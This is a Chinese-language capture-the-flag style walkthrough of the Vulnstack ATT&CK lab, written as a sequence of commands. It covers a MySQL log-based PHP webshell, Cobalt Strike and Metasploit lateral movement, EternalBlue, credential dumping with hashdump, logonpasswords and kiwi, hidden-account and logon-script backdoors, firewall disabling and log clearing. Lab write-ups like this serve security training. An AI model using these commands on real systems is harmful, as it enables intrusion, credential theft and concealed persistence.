ATT&CK(一)
ATT&CK(一)
环境搭建
下载链接
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
原来的适配器删了重新加一个适配器
同一密码
hongrisec@2019 |
看好适配器 4
测试
nmap扫描
.\nmap.exe 192.168.1.129 -sS -sV -A -T4 -p- |
目录扫描
python .\dirmap.py -i http://192.168.1.129/ -lcf |
有一个备份
访问这个
这里泄露了信息
模板写个shell试试
看一下路径
这里爆了绝对路径
新建一个字典
弱口令进来了.
查看写文件的权限
SHOW GLOBAL VARIABLES LIKE "secure%" |
不可以写
数据库全局日志写入
查看是否开启了全局日志以及全局日志的存放位置
SHOW VARIABLES LIKE '%general%' |
修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件
SHOW VARIABLES LIKE '%general%' |
执行命令写入日志文件
SELECT "<?php @eval($_POST[zf]); ?>" |
数据库慢查询日志写入
show variables like '%slow%' |
set global slow_query_log=on; |
set global slow_query_log_file="C:\\phpStudy\\WWW\\zf.php"; |
select '<?php @eval($_POST[zf1]);?>' or sleep(10); |
cs
这里我们先搭建一下cs的服务端
先安装java8
yum install -y java-1.8.0-openjdk* |
上传到服务器
加执行权限
chmod a+x agscript |
启动
./teamserver 192.168.1.130 wanan |
客户端连接
连不上放行一下50050端口
systemctl stop firewalld |
我们先关闭防火墙
netsh advfirewall set allprofiles state off |
把我们生成的exe马传上去
执行命令
上线了,我们先收集一下信息
shell whoami |
shell netstat -ano |
3389没开
为了不等待时间,我们把会话间隔调低一点
systeminfo |
看补丁
信息收集的命令
netsh advfirewall set allprofiles state off |
两个网段,也很容易想到这个52是在内网的
发现是在域中的,并且dns域名为god.org
查看主域信息
shell net view /domain |
shell net time /domain |
shell net config workstation |
shell nslookup god.org |
这里没解析到,可能是因为nat模式的原因,不过就这样把,懒得改了.
shell ping -a god.org |
shell net user /domian |
shell wmic useraccount get /all |
shell net group "domain computers" /domain |
net group "domain admins" /domain |
shell net group "Enterprise admins" /domain |
shell net group "domain controllers" /domain |
shell net accounts /domain |
net view |
hashdump |
这里权限不够可以先去提权,插件Elevatekit
logonpasswords |
这里的密码其实不应该改的.
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" |
这里还有k8大神的工具ladon,内容丰富,扫描快
因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到kali 所以需要cs派生出一个smb beacon,让内网的主机连接到win7上面.我们
这里主要介绍SMB beacon, cs派生smb beacon. smb beacon通过命名管道与父级beacon进行通信,当两个beacons连接之后,子beacon从父beacon获取到任务并发送,因为连接的beacons使用windows命名管道进行通信,此流量封装与smb协议中,所以smb beacon相对隐蔽,绕过个防护墙有奇效.
第一种是在已经有的beacon上建立监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取dc的方法
第二种是直接派生一个子beacon,目的是为了进一步盗取内网主机的hash,新建一个listener,payload设置为beacon smb.
psexec使用凭证来登录其他主机.已经探测到了获取内网的其他targets以及读取到的凭证信息,可以利用psexec模块登录到其他主机
右键非域控主机(owa)的psexec模块
可以看到拿到了
额 .. 都拿到了.
还可以使用token窃取
msf
我们从头来过
我们来把shell 弹到msf上面
msfconsole |
新建监听器
getsystem |
配置静态路由
run get_local_subnets |
使用socks4代理模块
use auxiliary/server/socks_proxy |
修改配置文件
edit /etc/proxychains4.conf |
proxychains curl http://192.168.52.138 |
msf进行内网扫描
background |
对192.168.52.138进行端口扫描
use auxiliary/scanner/portscan/tcp |
set rhost 192.168.52.141 |
使用永恒之蓝(ms17-010)进行漏洞扫描
search ms17-010 |
使用exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue |
auxiliary/admin/smb/ms17_010_command可以执行命令
use auxiliary/admin/smb/ms17_010_command |
我们使用ms08-067搭配bind tcp
由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听
search ms08-067 |
use 0 |
也不行
use auxiliary/admin/smb/ms17_010_command |
proxychains rdesktop 192.168.52.138 -u wanan -p p-0p-0p-0 |
通过蚁剑将wmiexec.vbs上传至web服务器。直接进行远程命令: |
cscript.exe wmiexec.vbs /cmd 192.168.52.138 whoami |
由于域控处于内网环境且不能访问外网,所以没法使用反向shell, |
msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe -o shell.exe |
回到一开始web服务器的会话中,将生成的正向连接马传上去, |
利用web服务,让域控将此正向连接马下载到本地并执行 |
这里即下载不下来也执行不了所以换一种方法
use exploit/multi/handler |
发现权限太低.
失败了
直接换种方法执行shell
use auxiliary/admin/smb/ms17_010_command |
迁移进程到svchost.exe
migrate 472 |
加载kiwi模块抓取密码
load kiwi |
查看装了哪些软件
run post/windows/gather/enum_applications |
我们重新对141进行尝试
use exploit/windows/smb/ms17_010_eternalblue |
use exploit/windows/smb/ms17_010_psexec |
search ms08-067 |
use auxiliary/admin/smb/ms17_010_command |
proxychains rdesktop 192.168.52.141 -u wanan -p p-0p-0p-0 |
登录
也可以使用138的方式提到system权限.这里仅展示多种方式.
我们开启一下telnet服务
use auxiliary/admin/smb/ms17_010_command |
连接
use auxiliary/scanner/telnet/telnet_login |
但是执行命令没反应
手动连
telnet 192.168.52.141 |
权限维持
影子账户
先删除我们之前创建的用户
shell |
添加隐藏用户
net user wanan$ p-0p-0p-0 /add |
我们来使用新用户连接,更改下注册表
(HKEY_LOCAL_MACHINE\SAM\SAM),修改SAM权限,赋予adminitrators完全控制权限
重启之后,将Administrator用户对应项的F数据值复制到wanan$用户对应项的F数据值
没找到,做个记录
重启之后,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值
将
test$和所对应项000003F1导出,分别命名为test.reg和1.reg
删除test$用户,将test.reg和1.reg导入注册表
net user test$ /del |
此时在用户组已经看不到test$用户,只能在注册表中能看到。
用工具试试https://github.com/wgpsec/CreateHiddenAccount/releases
管理员权限运行 |
logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截.首先用msf创建后门程序,注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\System32\regIog.exe"(自己创建的后门exe) |
copy C:\Users\wanan$\Downloads\shell.exe C:\Windows\System32\regIog.exe |
忘记加exe了下面.
重启下试试.没成功
https://blog.csdn.net/qq_48985780/article/details/122297100
清除日志
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx |
其实还有很多工作没有做
http://www.iis7.com/a/nr/wz/202105/10491.html
https://blog.csdn.net/qq_38626043/article/details/117629847
https://blog.csdn.net/weixin_45605352/article/details/119740990